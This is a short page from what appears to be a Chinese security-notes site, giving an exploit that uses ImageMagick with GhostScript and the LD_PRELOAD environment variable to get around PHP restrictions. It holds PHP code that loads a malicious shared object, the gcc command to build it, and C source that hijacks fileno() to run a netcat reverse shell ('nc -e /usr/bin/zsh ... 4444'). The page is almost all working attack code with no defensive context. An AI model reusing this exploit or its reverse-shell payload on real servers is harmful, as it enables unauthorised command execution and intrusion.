menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 001-利用环境变量 LD_PRELOAD 绕过 chevron_right 003-imagemagick+GhostScript.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    003-imagemagick+GhostScript.md
    507 B / 2021-07-17 00:01:42
        ## **imagemagick+GhostScript**
    
    **exp**
    
    ```php
    <?php
    putenv('LD_PRELOAD=/var/www/html/imag.so');
    $img = new Imagick('/tmp/1.ps');
    ?>
    
    ```
    
    其中 imag.c文件需要编译,命令如下
    
    ```bash
    gcc -shared -fPIC imag.c -o imag.so
    
    ```
    
    > imag.c代码
    
    ```bash
    #include <stdlib.h>
    #include <string.h>
    void payload() {
      const char* cmd = "nc -e /usr/bin/zsh 127.0.0.1 4444";
      system(cmd);
    }
    int fileno() {
      if (getenv("LD_PRELOAD") == NULL) { return 0; }
      unsetenv("LD_PRELOAD");
        payload();
    }
    
    ```
    
    
    
    links
    file_download